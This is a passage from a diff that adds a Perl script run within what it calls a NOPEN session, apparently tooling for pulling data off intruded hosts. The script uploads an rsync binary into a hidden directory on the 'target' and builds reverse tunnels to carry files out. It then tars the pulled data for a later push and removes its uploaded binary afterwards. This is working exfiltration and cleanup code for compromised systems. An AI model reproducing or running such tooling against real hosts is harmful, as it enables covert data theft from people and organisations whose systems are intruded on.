+ } + chomp(my $aftercount = `find $destdir -type f | wc -l`); + print "\n$COLOR_NOTE\n". + "After above merge, $destdir now has$COLOR_FAILURE $aftercount$COLOR_NOTE files.\n\n"; + unless ($aftercount == $newfilecount + $existingcount) { + print "\n$COLOR_FAILURE\n". + "NOTE: The after merge count ($COLOR_NOTE$aftercount$COLOR_FAILURE) is not the sum of the other two. There must\n". + " have been some overlap, make sure your end result is what you wanted.\n\n"; + } + } + `sync`; + sleep 2; + `sync`; + } + my $tarcmd = "cd $destdir ; tar cvjf $tardir/$tarball . 2>&1"; + print + "\n\n". + $COLOR_FAILURE. + gmtime(). + "\n\nNow tarring up the results with:\n\n". + $COLOR_NOTE. + $tarcmd."\n\n". + $COLOR_NORMAL. + " made by: $prog $origargs\n". + " on: $nopen_rhostname\n\n". + "Verbose tar output will follow when it is done:\n\n"; + + if (open(OUT,">> $taroutfile")) { + $| = 1; + if (open(RSYNCIN,"$tarcmd |")) { + while () { + print ; + } + close(RSYNCIN); + } + + sleep 1; + + print "\n$COLOR_NORMAL\n".gmtime(). + "Computing the MD5 checksum of the tarball just created to mark it for later REUSE...\n\n". + `ls -al $tardir/$tarball`."\n\n"; + + # We set this variable here now that the tarball rides up in $opdir + my ($md5sum) = `cat $tardir/$tarball | md5sum` =~ /([a-f0-9]{32})/ ; + newhostvar("gbl_fg_reuse{$md5sum}",$tarball); + + print "\n\n".gmtime(). + "\n\nMD5 sum: $md5sum $tarball\n". + "\n$COLOR_FAILURE\n$tarcmd\n$COLOR_NORMAL\n". + "Above command is done, tarball is now in $tardir:\n\n". + `cd $tardir ; ls -alrth *$nopen_rhostname*bz2;echo ===; ls -alrt *$nopen_rhostname*bz2`. + "\n\n"; + + + print "At this point, we used to copy-fast the tarball we just made.\n\n". + "Now, we instead allow it to stay here for automatic processing later:\n". + " $tardir\n\n". + "If for some reason this data is needed immediately, these pastables will\n". + "help you get it pushed:\n\n". + " cp -v $tardir/$tarball $opdir\n". + " copy-fast REUSE$nozip $opdir/$tarball\n\n". + ""; + + print $COLOR_FAILURE."\n\n". + "(close this window with Ctrl-C anytime.)\n$COLOR_NORMAL\n"; + # We just exit is all. The ^C they are sending is going to the tail -f + # on the file this has all been printing too, TAROUT==open(TAROUT,">> $taroutfile"); + + exit; + + # BELOW NO LONGER USED: + print + "Tarball is being copied to $opdir now...\n\n". + "cp -v $tardir/$tarball $opdir/\n\n". + ""; + print `cp -v $tardir/$tarball $opdir`; + print "\n\nDONE COPYING, pushing the one in $opdir now:\n\n".`ls -hal $opdir/$tarball $tardir/$tarball`."\n\n"; + + + + if ($mergepullsfrom) { + print "\n$COLOR_FAILURE\n". + "NOTE:$COLOR_NOTE Scroll TO THE TOP above to confirm merge from\n". + $COLOR_NORMAL. + " $mergepullsfrom\n$COLOR_NOTE". + " to:$COLOR_NORMAL $destdir$dstpath\n\n". + $COLOR_NOTE. + " is as desired.\n\n"; + } + print $COLOR_NOTE."\n\n". + "$prog just popped up a window running copy-fast now that this tarball is done.\n". + "If for some reason you are NOT pushing yet, you should ^C it so it does not move\n". + "the file to /root/NOTPUSHED.\n\n"; + unless (fork()) { + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket); + dbg("EXECING: 1x -hold -title $prog_copy-fast_popup -geometry 130x24-0+0 -e copy-fast REUSE$nozip $opdir/$tarball"); + exec("1x -title $prog_copy-fast_popup -geometry 130x74-0+0 -e copy-fast REUSE$nozip $opdir/$tarball"); + } + print $COLOR_FAILURE."\n\n". + "(close this window with Ctrl-C anytime.)\n$COLOR_NORMAL\n"; + } + close(TAROUT); + exit ; +}#createtarball + +sub tocfile { + # Given complete path, return tocfile name in $optmp + local ($name) = (@_); + my $file = "$name.toc"; + $file =~ s,/,_,g; + $file = "$optmp/$file"; + return $file; +}#tocfile + +sub unpackold { + # If ($mypart > 1) we merely return. + return unless ($mypart == 1); + # Otherwise, + # If $mypart > 1, then $tocfile is already populated, we read it in. + # Checks type of tarball by filename and optionally + # via unpacking and piping to "file". + # Backgrounded child process proceeds with unpack then exits. + # Parent returns. + local ($tball) = (@_); + my ($output,$notunpacking,@listing) = ("",0); + my $tocfile = tocfile($tball); + my $taropts = "xvf"; + my $tocopts = "tvf"; + my $compressopt = ""; + mydie("-f tball=$tball must exist and be non-empty") + unless (-s $tball); + $dounpacking = 1; + my $test = `file $tball`; + my $taronly = $test =~ /tar archive/; + my $bz2 = $test =~ /bzip2 compressed/; + my $gz = $test =~ /gzip compressed/; + $compressopt = "j" if $bz2; + $compressopt = "z" if $gz; + my $filename = basename($tball); + my $tagfile = "rsyncunpacked.$tball"; + $tagfile =~ s,/,_,g; + $tagfile = "$optmp/$tagfile"; + +dbg("in unpackold(@_) taronly=$taronly bz2=$bz2 gz=$gz test=$test +mypart=$mypart ofparts=$ofparts +tagfile=$tagfile".`ls -al $tagfile`." +tball=$tball= +dounpacking=$dounpacking= +notunpacking=$notunpacking= +"); + if ($mypart > 1) { + $notunpacking++; + } else { + if (-e $tagfile) { + ($ans) = mygetinput + ($COLOR_FAILURE. + $tball."\n\n". + "$prog has unpacked this tarball before.\n\n". + #"If new data was downloaded via $prog since then, unpacking the tarball\n". + #"again is likely not needed--if an rsync succeeded once, you already have\n". + #"data newer than what is in this tarball.\n\n". + #"If you proceed, we will unpack this tarball again and re-do the rsync.\n\n". + "Do you want to CONTINUE(MERGE), UNPACK the data again or ABORT?\n\n". + "CONTINUE is the new correct option if you wish to switch to another pitch\n". + "midop. The tarball will NOT be unpacked again in that case. \n\n". + "UNPACK will unpack the same tarball again, likely not what you want\n\n". + "CONTINUE, UNPACK again or ABORT?", + #"Do you want to SKIP the unpack so you can merge with the files already\n". + #"unpacked and perhaps partially rsynced, UNPACK this tarball again or ABORT?\n\n", + "CONTINUE","SKIP","A","ABORT","UNPACK","U"); + if ($ans eq "a") { + $dounpacking = 0; + mymydie("Aborting"); + } elsif ($ans eq "c") { + $dounpacking = 0; + } else { # All other answers proceed identically + # Clear out any previous "part-N-of-$ofparts" files from old runs. + checkalldone(Clear); + } + } + my $lstball = `ls -ahl $tball`; + my ($tballsize) = (split(/\s+/,$lstball))[4]; + if ($dounpacking and $compressopt and ! $skiptest) { + my ($ans) = offerabort + ($lstball."\nTesting tarball (size $tballsize):\n". + " $tball\n\n". + "to see it is a valid tarball. This can take a LONG time if it is very\n". + "large. You can kip the test,","S"); + if ($ans eq "s") { + progprint("Skipping test of $tball"); + $skiptest++; + } else { + if ($bz2) { + $test = `bunzip2 -dc $tball | file -`; + } elsif ($gz) { + $test = `gzip -dc $tball | file -`; + } + } + # dbg("second test=$test"); + mydie("$tball is compressed but contents are not tar format") + unless $test =~ /tar archive/ or $skiptest; + } else { + mydie("-f $tball must be one of tar, tar.gz ,tgz or tar.bz2 format") + unless ($taronly or $skiptest or !$dounpacking); + } + } + $unpackrunning = "cd $destdir 2>&1; pwd 2>&1; tar -$compressopt$taropts $tball 2>&1"; + $statuscmd = "ps -ef | grep -v grep | grep tar ; du -hs $destdir ; find $destdir | wc"; + # THIS LINE WAS HERE BEFORE I THINK IT WAS NOT SUPPOSED TO BE WE FORK A BIT LATER +# return unless $unpackpid = fork(); + unless ($notunpacking) { + $notunpacking = checkolddestdir(); + offerabort + ("About to unpack this $tballsize tarball locally (backgrounded):\n". + $lstball."\n". + "This can take a while, but $prog will make sure it is done before\n". + "proceeding. Use this in a local window to see the progress of the\n". + "tar extraction:\n\n". + " watch -d \"$statuscmd\"") unless $notunpacking; + } + if ($freshenold) { + if (-s $tocfile) { + progprint("$COLOR_FAILURE\n". + "RE-USING the previous TOC for this file:\n". + $tocfile); + my $listing = readfile($tocfile); + @listing = split (/\n/,$listing); + mydie("Listing file $tocfile is empty or malformed") + unless (@listing > 1); + } else { + progprint("$COLOR_NORMAL\n\n". + "Forking a child to build list of remote files from local tar file:\n\n". + " $tball\n\n". + "via \"tar -$compressopt$tocopts\"."); + } + } + return unless $unpackpid = fork(); + dbg("In unpackold, just forked, mypart=$mypart ofparts=$ofparts"); + if ($freshenold) { + # Fork here, child pops up @listing, maybe building it first. + if ($mypart == 1 and !@listing) { + progprint + ($COLOR_FAILURE."\n\n". + "NEW!$COLOR_NORMAL $prog is now going to compare the listing of the\n". + "tarball being rsynced with the listing of the target directory(ies) and\n". + "alert you to any differences right before the pack up stage.". + ""); + } + unless(fork()) { + unless (@listing) { + # another child, it gets our TOC (files only) if we want it + # for freshen purposes and pops it up. + # We now sort the tvf output with lss so oldest files are rsynced first. + dbg("Sleeping 999 maybe unpacking TOC"); + my $toccmd = "cd $destdir 2>&1; tar -$compressopt$tocopts $tball | grep \"^-\" 2>&1 | lss | tee $tocfile.TMP"; + @listing = split(/\n/,`$toccmd 2>/dev/null`); + @listing = grep ! /\.(partial|oget-last)/, @listing unless ($keepweirdfiles); + # Make sure this file is complete the first it becomes its final name, + # so rename only when $toccmd exits. + rename("$tocfile.TMP",$tocfile); + } + # Remainder in here to pop up contents, do not bother unless part 1 + exit unless $mypart == 1; + dbg(" + + +HERE + + + mypart=$mypart + + +listing has ".scalar @listing." elements + + +about to write to >$unpackedtoc.working +"); + my ($toclisting,$toclinecount,$maxwidth) = (); + open(RSYNCOUT,">$unpackedtoc.working") + or dbg("COULD NOT OPEN RSYNCOUT"); + print RSYNCOUT "\@oldlist = (\n"; + @listing = grep ! /\.(partial|oget-last)/, @listing unless ($keepweirdfiles); + foreach my $l (@listing) { + chomp($l); +#dbg("LISTING: $l"); + next if $l =~ /tar: Record size =/; + # my ($ymd,$hms,$hit) = $l =~ + # m,(\d{4}-\d\d-\d\d)\s+(\d\d:\d\d:\d\d)\s+(.*),; + my ($perms,$usergroup,$size,$ymd,$hms,$hit) = $l =~ + m,(\S+)\s+(\S+)\s+(\d+)\s+(\d{4}-\d\d-\d\d)\s+(\d\d:\d\d:\d\d)\s+(.*),; + next unless $ymd and $hms and $hit; + while ($size =~ /(.*)(\d)(\d{3})(,\d{3})*,*$/) { + $size = "$1$2,$3$4"; + } + $size =~ s/,+$//; + $toclinecount++; + $maxwidth = maxof(length($l),$maxwidth); + $toclisting .= sprintf "%s %-11s %16s %10s %8s %s\n", + $perms,$usergroup,$size,$ymd,$hms,$hit; + # From TOC of old tar file, we skip any blacklisted + my $skipthisone = 0; + foreach my $skipexpr (@skipexprs) { + $skipthisone++ if $hit =~ /$skipexpr/; + last if $skipthisone; + } + next if $skipthisone; + $hit =~ s,^\.,,; + print RSYNCOUT " \"$hit\",\n"; + } + print RSYNCOUT " );\n\n"; + close(RSYNCOUT); + $maxwidth += 10; + $toclinecount = minof(8+$toclinecount,75); + my $geom = ""; + my $killit = dolocalecho("# ".gmtime()."\n". + "# Table of Contents (files only) from $destdir$tball:\n\n". + $toclisting, + "popup-geometry ${maxwidth}x$toclinecount-0+0 -bg white -fg blue", + ); + newhostvar("killpopup{$killit}",1); + my $junk = ""; + foreach my $key (keys %killpopup) { + $junk .= "\$killpopup{$key}=$killpopup{$key}=\n"; + } + dbg("killpopup is now ( +$junk +)"); + sleep 1; + rename("$unpackedtoc.working",$unpackedtoc); + # Child done now, goes away. + exit; + } + } + if ($notunpacking) { + `touch $unpackingdone`; + exit; + } + open(RSYNCOUT,">$unpackingdone.working"); +# print RSYNCOUT `echo sleeping 888 testing long unpcak; sleep 888 ; $unpackrunning | tee $tagfile`; + `mkdir -p $destdir` unless -d $destdir; + print RSYNCOUT `$unpackrunning`; + unless ($keepweirdfiles) { + my $rmlist = `cd $destdir 2>&1 ; find . -name "*.partial" -o -name "*.oget*" | tr '\n' ' '` ; + # Cannot send this to user, we are forked by now....it is in dbg file tho. + dbg("Removing any partial/oget files in $tball:\n\n". + `cd $destdir 2>&1 ; pwd 2>&1 ; /bin/rm -v $rmlist 2>&1` + ) if $rmlist; + } +#dbg("SLeeping 888 maybe to see if bug here"); +#`sleep 888`; + close(RSYNCOUT); + `touch $tagfile`; +# dbg("touched $tagfile:\n".`ls -al $tagfile`); + rename("$unpackingdone.working",$unpackingdone); + exit 0; +}#unpackold + +sub mymydie { +# dbg("in mymydie(@_) with kidpid=$kidpid RSYNCLOCAL=".RSYNCLOCAL); + # Responsible for this before sending @_ to mydie(): + unless ($justbuild) { + rmdir($destdir); # Remove empty if there + killlocalrsync(); + unless ($mypart > 1) { + rmrsync(); + closeourtunnel(); + } + } + mydie(@_); +}#mymydie + +sub rmrsync { + local ($prompt) = (@_); + # Once global $keeprsync is set, mymydie will not rm rsync. + # Only first of multiple parts puts/removes rsync. + return 1 if (($keeprsync or $mypart > 1) and !$prompt); + if ($rsyncuploaded) { + if ($prompt) { + my ($ans) = mygetinput + ("Do you want to leave $rsyncuploaded up there\n". + "for more use today?","N"); + return 1 if $ans eq "y"; + } + doit("-rm ../../../../../../../$rsyncuploaded"); + newhostvar("rsyncuploaded",""); + } + return 0; +} + +sub killlocalrsync { + kill TERM,$kidpid if ($kidpid and $kidpid != $$ and ! $kidkilled++); +}#killlocalrsync + +sub closeourtunnel { + return unless ($mypart == 1 or $ofparts < 2); + unless ($tunnelclosed++) { + my $killtunnels = ""; + for (my $i=1; $i< 2*($ofparts + 1); $i += 2) { + $killtunnels .= sprintf(" %d %d",$i,$i+1); + } + progprint("Closing \"-tunnel $tunnelport udp\" with these commands in the background:\n". +# "\"dotunnel c $tunnelport\" in the background..."); + " PORT=$tunnelport dotunnel c $killtunnels\n". + " PORT=$tunnelport dotunnel q\n"); + return if fork(); + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket); + `PORT=$tunnelport dotunnel c $killtunnels`; + `PORT=$tunnelport dotunnel q`; + newhostvar("tunneldone","CLEARALLMATCHING"); + exit; + } +}#closeourtunnel + +sub setuptunnel { + my $warning=""; + if ($mypart > 1) { + my $starttime = time(); + while (1) { + newhostvar(); + last if $host_rsyncremoteport{"$olddatafile PART=$mypart"}; + if ((time() - $starttime) % 10 < 2) { + progprint("We are$still waiting on part 1 of $ofparts to set up our tunnel.". + ""); + $still = $COLOR_FAILURE." still$COLOR_NORMAL"; + } + sleep 2; + tickleifneedbe(); + mymydie("Aborted ($bailfile was touched)") + if (-e $bailfile); + } + $remoteport = $host_rsyncremoteport{"$olddatafile PART=$mypart"}; + newhostvar("tunneldone{rsync-part-${mypart}-of-$ofparts.DONE.$olddatafile}", + $remoteport); + return $remoteport; + } + #ASSERT: This is $mypart == 1, we set up all tunnels once we confirm -tunnel is up + $familyerrfile = # Nulled by part 1 used by all via + "$optmp/rsync.errors.$tunnelport"; + preservefile($familyerrfile); + newhostvar("host_rsyncfamilyerrfile{$olddatafile}",$familyerrfile); + my $startloop = time(); + my $test = ""; + TUNNELREDO: + while (keys %remoteports < $ofparts) { + $test = `netstat -anup | grep "udp.*:$tunnelport "`; + return 0 if (!$test and $mypart > 1); + if ((time() - $startloop) % 20 <2) { + progprint + ($warning.$COLOR_NORMAL. + "\nAt this point, you need a second window on \n". + "$nopen_rhostname,\n". + "to tunnel the remote/local rsync commands. Paste this into the\n". + "other window\n". + " -tunnel $tunnelport udp\n\n". + "$prog will use that (local) udp port to create a reverse tcp\n". + "tunnel for rsync data. $prog will close that tunnel when it is done\n\n". + "waiting for that window..."); + $warning = "\n\n$COLOR_FAILURE\n\n\tYou still need to set the -tunnel window up\n\a\n"; + } + unless ($test =~ /noclient/) { + if ($test) { + mymydie("$COLOR_FAILURE\n\nNon-NOPEN process just took port $tunnelport, ABORTING"); + } + sleep 1; + next; + } + my $s = ""; + $s = "s" if ($ofparts > 1); + $test =~ s,\s+/ ,g,; + progprint($COLOR_NORMAL. + "\n\nFound NOPEN -tunnel:\n\n$test\n\nProceeding with part $mypart of $ofparts....\n\n". + "First the reverse tunnel$s, which will show up in the -tunnel window."); + my $partnum = $ofparts; + @otherruns = (); + + while (keys %remoteports < $ofparts) { + my $remoteport = myrand(); + # Set up all ports now in -tunnel window + my $output = ""; + # We set up all remote tunnels now in $mypart == 1 only + while (1) { + $remoteport++; + # $localport being different from $remoteport is only useful for + # using -gs rsync against yourself (i.e., for testing). + # my $localport = $remoteport + 1; + my $localport = $remoteport; + + # If already in use, increment $remoteport via next; + my ($test) = doit("netstat -an | egrep \"[\\.:]$remoteport .*LIST\""); + next if $test; + + $output = `PORT=$tunnelport dotunnel r $remoteport 127.0.0.1 $localport`; +# dbg("dotunnel output=$output="); + $output .= `stattunnel $tunnelport`; + if ($output =~ /remote listen on port $remoteport, will connect to 127.0.0.1:$localport/) { + ($test) = doit("netstat -an | egrep \"[\\.:]$remoteport .*LIST\""); + unless ($test) { + sleep 2; + ($test) = doit("netstat -an | egrep \"[\\.:]$remoteport .*LIST\""); + } + last if $test; + my ($ans) = mygetinput + (" Unable to see remote port $remoteport listening. Please check that\n". + " the \"-tunnel $tunnelport udp\" command was done on this host:\n". + " $nopen_rhostname\n". + " and not somewhere else.\n\n". + "Do you want to ABORT or REDO the tunnel?","REDO","A","ABORT"); + mymydie("User aborted") if ($ans eq "a"); + `closetunnel $tunnelport`; + progprint($COLOR_NORMAL. + "\n\nOK, try again on the right host, please.\n\n"); + %remoteports = (); # All remote ports, all parts, key=part, value=port + sleep 2; + next TUNNELREDO; + } + } + + my $cmd = "-gs rsync -L $destdir -t $remoteport -u $tunnelport $origargs"; + dbg("cmd=$cmd="); + # Each other command has -FN, where N=$i itself. + $cmd =~ s,F\s*\d+,F $partnum,; + dbg("part i=$i cmd=$cmd="); + unless ($partnum == 1) { + my $what = $partnum == $ofparts ? "You will need this other rsync command for part $partnum of $ofparts:\n\n" : + "And this one:\n\n"; + push (@otherruns,$cmd); + progprint("$COLOR_NORMAL\n$what". + $cmd); + } + + newhostvar( + "host_rsyncremoteport{$olddatafile PART=$partnum}",$remoteport, + ); + + $remoteports{$partnum--} = $remoteport; + } + } + + my $othercount = $ofparts - 1; + my ($their,$s,$each,$all,$isa,$it) = ("its","","","","is a","it"); + if ($othercount > 1) { + $s = "s"; + $all = " all"; + $their = "their"; + $each = " each"; + $is = "are"; + $it = "them"; + } + my $moreifofparts = ""; + $moreifofparts = + "\n\n". + "You also must now start the other $othercount instance$s of $prog, as well.\n\n". + "Here $isa pastable$s for $it:\n\n". + " ".join("\n ",@otherruns). + "\n\n$COLOR_NOTE\n". + " \n". + "$COLOR_NORMAL" if ($ofparts > 1); + + if ($ofparts > 1) { + offerabort + ($COLOR_NORMAL."\n\n". + "The -tunnel $tunnelport udp window is all set, with$all $ofparts reverse tunnel$s ready.\n". + $moreifofparts. + ""); + } else { + progprint + ($COLOR_NORMAL."\n\n". + "The -tunnel $tunnelport udp window is all set with$all $ofparts reverse tunnel$s ready.\n". + $moreifofparts. + ""); + sleep 2; + } + + return $remoteports{1}; +}#setuptunnel + +sub checkfirst { + my $output = ""; + if ($usedu) { + my ($cmd,$sep) = (); + foreach my $path (values %remotepaths) { + $cmd .= "$sep$usedu $path"; + $sep = " ; "; + if (length $cmd > $nopenmaxcommandlength) { + doit("$cmd"); + ($cmd,$sep) = (); + } + } + doit("$cmd") if length $cmd; + } else { + my $totalsize = 0; + my @newlist = (); + foreach my $path (values %remotepaths) { +# dbg("totalsize=$totalsize calling\nprocessnopenls(\@newlist,,0,doit(\"-ls -R $path\")"); + $totalsize += processnopenls(\@newlist,,0,doit("-ls -R $path")) ; + } + my $k = $totalsize/1024; + my $m = $totalsize/1024/1024; + my $g = $totalsize/1024/1024/1024; + $output = sprintf + ("\n\n". + "Recursive -ls -R on all paths add up to $totalsize bytes\n". + "(%6.2fK or %6.2fM or %6.2fG)\n\n",$k,$m,$g); + } + offerabort("$output\nBased on size checks above, you can"); +}#checkfirst + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs rsync"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=rsync\" is used. + +"; + + $rsync_config = "$optmp/rsync.cfg.$$"; + my $rsync_config_tmp = "$optmp/rsync.cfg.\$\$"; + $bailfile = "$optmp/BAILRSYNC.$$"; + mydie("bad option(s)") if (! Getopts( "hvcCu:Vf:Sb:pl:F:T:U:M:HoNt:Bs:L:m:rO:" ) ) ;# Removed: J + $forceresync = $opt_r; + if ($mergewithdir = $opt_m) { + $mergewithdir =~ s,/+,/,g; + mydie("-m $opt_m must be a local directory containing data to MERGE with") + unless (-d $opt_m); + mydie("-m $opt_m must be a full path starting in /current/") + unless ($opt_m =~ m,^/current/,); + mydie(basename($opt_m).": Must begin with \"via-gs.rsync\" basename=".basename($opt_m)) + unless (basename($opt_m) =~ /^via-gs.rsync/); + } + $opt_s =~ s,[_\s],-,g; + $tarballstring = ${opt_s}; + mydie("-s $opt_s cannot contain special characters") + if ($opt_s =~ /[\s\Q:+{\}\E]/ ) ; + + $nozip = " NOZIP"; + + $longhelp = $opt_H; + $gsusagetext = usagetext(); + + @mergepullsfrom = (); + if (my $mergepullsfrom = $opt_M) { + @mergepullsfrom = uniqify_array(split(/,,/,$mergepullsfrom)); + foreach my $merge (@mergepullsfrom) { + mydie("-M $merge must be a local directory beneath $opdown/$nopen_rhostname") + unless ( # -d $merge and <<<<< might not exist yet + $merge =~ m,^$opdown/$nopen_rhostname/.+,); + mydie("-M $merge CANNOT be in $opdown/$nopen_rhostname/via-gs.rsync*") + if ($merge =~ m,^$opdown/$nopen_rhostname/via-gs.rsync,); + mydie("-M $merge CANNOT be in $opdown/${nopen_rhostname}_nosend/via-gs.rsync*") + if ($merge =~ m,^$opdown/${nopen_rhostname}_nosend/via-gs.rsync,); + } + } + $oneperline = $opt_o; + $numperline = $opt_O; + mydie("Cannot use -o and -O $opt_O together") if ($oneperline and $numperline); + $numperline = int($opt_O); + $numperline = 1 if $oneperline; + mydie("-O $opt_O is not valid") if ($opt_O and $opt_O != $numperline); + + + $uploadrsync = $opt_U; + mydie("-U $opt_U must exist") + unless (!$opt_U or -s $uploadrsync); + $maxdownload = $opt_T; + mydie("-T $maxdownload option must be a number (fractional is ok)") + if (length $maxdownload and !($maxdownload =~ /^\d+(\.\d*){0,1}$/)); + + if ($listfile = $opt_l) { + mydie("-l $listfile must be a local file listing remote paths") + unless (-f $listfile and -s $listfile); + } + $pastemode = $opt_p; + # DISABLING PASTEMODE TOO DANGEROUS + mydie("-p Paste mode is deprecated, use -l instead.") + if $pastemode; + $skiptest = $opt_S; + $skipexpr = ""; + if ($opt_b) { + mydie("-b \"$opt_b\"\n". + "cannot contain whitespace\n". + "(use a \".\", which matches any one character)") + if $opt_b =~ /\s/; + mydie("-b \"$opt_b\"\n". + "cannot contain any quotes, $prog gets confused\n". + "(maybe use a \".\", which matches any one character)") + if $opt_b =~ /\"/; + if (-f $opt_b) { + if (open(RSYNCIN,$opt_b)) { + while (my $line = ) { + chomp($line); + next if (!$line or $line =~ /^\s*\#/); + push(@skipexprs,$line); + } + close(RSYNCIN); + } else { + mydie("Cannot open local file -g $opt_g"); + } + } else { + @skipexprs = split(/,,/,$opt_b); + } + } + foreach (@skipexprs) { + $skipexpr .= "--exclude=$_ "; + } + + dbg("Got -b $opt_b giving:\n". + "(@skipexprs)\n". + "skipexpr=$skipexpr=\n\n"); + $olddatafile = $opt_f; + $freshenold = ($opt_F or $opt_f); + if ($opt_F) { + ($mypart,$ofparts) = $opt_F =~ /(\d+),(\d+)/; + $mypart =~ s/^0*//; + $ofparts =~ s/^0*//; + if ($ofparts > 8) { + progprint(".\n\n\n". + "For now, we are capping the max for -F to eight simultaneous windows\n". + "(all sharing the same -tunnel $tunnelport udp window).", + $COLOR_FAILURE); + $ofparts = 8; + sleep 5; + } + mydie("-F $opt_F not valid, must be 0 < N <= M") + unless ( + ($opt_F =~ /^(\d+),(\d+)$/ and + 0<$mypart and $mypart <= $ofparts + )); + } else { + ($mypart,$ofparts) = (1,1); + } + + # Set $destdir + my ($nosend1,$nosend2) = ("NOSEND/","/NOSEND") if $opt_N; + if ($mypart != 1) { + mydie("Option -L /PATH/TO/LOCAL/RSYNC-DIR is required when mypart==$mypart > 1") + unless ($opt_L and -d $opt_L); + ($rsynctimestamp) = $opt_L =~ /via-gs.rsync.(\d{8}-\d{6})/; + $destdir = $opt_L; + } else { + while ($mypart == 1 and !$opt_J) { + # Infinite loop to pick new/unique dir + $rsynctimestamp = timestamp(short); + last unless (-d "$opdown$nosend2/$nopen_rhostname/via-gs.rsync.$rsynctimestamp"); + sleep 1; + } + } + $destdir_tmp = "$opdown$nosend2/\$nopen_rhostname/via-gs.rsync.$rsynctimestamp"; + $destdir = "$opdown$nosend2/$nopen_rhostname/via-gs.rsync.$rsynctimestamp"; + $destdirname = "$nosend1$nopen_rhostname/via-gs.rsync.$rsynctimestamp"; + `mkdir -p $destdir`; + + + if ($justbuild = $opt_J) { + # Disable a few things in this mode + ($opt_F, + $opt_l, + $opt_f, + $opt_o, + $opt_S, + $opt_c, + $opt_C, + $opt_V, + $opt_b, + $opt_U, + $opt_T, + ) = (); + mydie("$destdir must exist to use -J") + unless -d $destdir; + } + + mydie("-f option is required with -F $opt_F") + unless (!$freshenold or $olddatafile); + $ignoreold = (!$opt_B and $olddatafile); + $checkfirst = ($opt_c or $opt_C); + usage() if ($opt_h or $opt_v or + (!@ARGV and + !$justbuild and + !$pastemode and + !$listfile and + !($freshenold and $olddatafile)) + ) ; + mydie("-f $olddatafile must exist") + unless !$olddatafile or -s $olddatafile; + $dounpacking++ if $olddatafile; + $verbose = "-v" if $opt_V; + $verbose .= 'v' x ($opt_V-1); + #dbg("verbose=$verbose= opt_V=$opt_V"); + + $tunnelport = 10000; + $remoteport = int($opt_t) if (int($opt_t) > 0 and int($opt_t) < 65500); + + # Only first if $opt_F is used need bother picking a port, others + # will use this one. + + $socket = pilotstart(quiet); + while ($mypart == 1) { + mydie("-t $opt_t: This option must only be used for parts 2+") + if ($remoteport > 0); + $tunnelport++; + my $test = ""; + $test = `netstat -an | grep "udp.*0\.0\.0\.0:$tunnelport"`; + next if $test and !$opt_u; + if ($opt_u) { + $tunnelport = int($opt_u); + mydie("-u $opt_u must be between 10000 and 55555") + unless ($tunnelport > 9999 and $tunnelport < 55556); + } + $test = `netstat -an | grep "udp.*0\.0\.0\.0:$tunnelport"`; + mydie("Cannot use $tunnelport, it is in use already:\n$test") + if ($opt_u and $test); + next if $test; + newhostvar("tunnelport{$olddatafile in $ofparts parts}",$tunnelport); + last; + } + + +# If $justbuild is used, do not need anything else in myinit. +# offerball_rsync() exits when done. + offerball_rsync() if $justbuild; + + # Some globals + # $unpackingdone = # tagfile says when tarball is done unpacking + # "$optmp/.rsyncunpackdone.$$"; + # Table of contents of tarball, used with -F + $unpackedtoc = tocfile($olddatafile).".rsyncunpackedtoc"; + $unpackingdone = $unpackedtoc; + $unpackingdone =~ s/toc/DONE/; + + # We need to verify remote rsync is there and compatible (maybe put it there too). + # This loop is messy. It may take several passes through it. + # Exits from can be: + # - DIE via user abort + # - DIE after upload failure (wrong size other than because + # user skipped the upload once he saw it was already there) + # - DIE after ODD/UNKNOWN result from "rsync -h" + # - PROCEED after successful rsync version check > 2.4.5 + my ($versionchecked,$ulbchecked,$justputone,$ulbfound) = (); + $remotersync = "rsync"; + $remotersyncoptions = ""; + + # None of this happens unless we are unpacking. + # There are last commands inside that get us out. + while ($mypart == 1) { + if ($uploadrsync) { + if ($rsyncuploaded) { + my ($output,$nopenlines,@output) = + doit("-ls $rsyncuploaded"); + if ($output and !$justputone) { + my ($ans) = mygetinput + ("rsync seems to already be there as $rsyncuploaded\n". + "Re-use that one?","Y"); + $rsyncuploaded = "" unless $ans eq "y"; + $justputone++ if $ans eq "y"; + } else { + $rsyncuploaded = ""; + } + } + unless ($rsyncuploaded) { + my ($rsyncdir,$shdir,@lsoutput) = gethiddendir(); + unless ($rsyncdir) { + offerabort + ("There does not appear to be a hidden directory to put\n". + "rsync into. Are you sure?"); + $rsyncdir = "/tmp"; + } + ($ans,$rsyncdir) = mygetinput + ("Enter target directory to put rsync into:\n",$rsyncdir); + ($ans,$remotersync) = mygetinput + ("What do you want to call rsync on target?",$remotersync); + my ($output,$nopenlines,@output) = + doit("-put $uploadrsync $rsyncdir/$remotersync"); + newhostvar(rsyncnative,0); + $versionchecked=0; + $justputone++ unless $output =~ /-put: aborted/; + my ($size) = (split(/\s+/,$output[$#output]))[4]; + my $localsize = -s $uploadrsync; + unless ($size == $localsize or $output =~ /-put: aborted/) { + mymydie("Cannot continue, uploaded file not correct size ($size != $localsize)"); + } + newhostvar("rsyncuploaded","$rsyncdir/$remotersync"); + } + } + if ($rsyncuploaded) { + $remotersync = basename($rsyncuploaded); + dbg("Running first addpath in $prog: nopenaddpath(dirname($rsyncuploaded));"); + nopenaddpath(dirname($rsyncuploaded)); + } + my ($output,$nopenlines,@output) ; + # If far version came back wrong already, we assume no good and + # proceed, possibly uploading it. + if ($versionchecked) { + $output = "no such file"; + } else { + ($output,$nopenlines,@output) = doit("$remotersync -h"); + $remotersyncoptions .= " --times" + if $output =~ /--times.*preserve/; + $remotersyncoptions .= " --perms" + if $output =~ /--perms.*preserve/; + # This is the most useful option here. It sends periodic updates with an ETA. + # Unfortunately, you cannot see that output in NOPEN window until it is complete, + # but the bits flowing keep this window alive so when the rsync exits this script + # can continue. A tail -f on the cmdout/ output file for that window will show + # the one long line with multiple ETA updates, in the regular window you see the + # final update only. + $remotersyncoptions .= " --progress" + if $output =~ /--progress/; + newhostvar("remotersyncoptions{$olddatafile in $ofparts parts}",$remotersyncoptions); + } + if ($output =~ /no 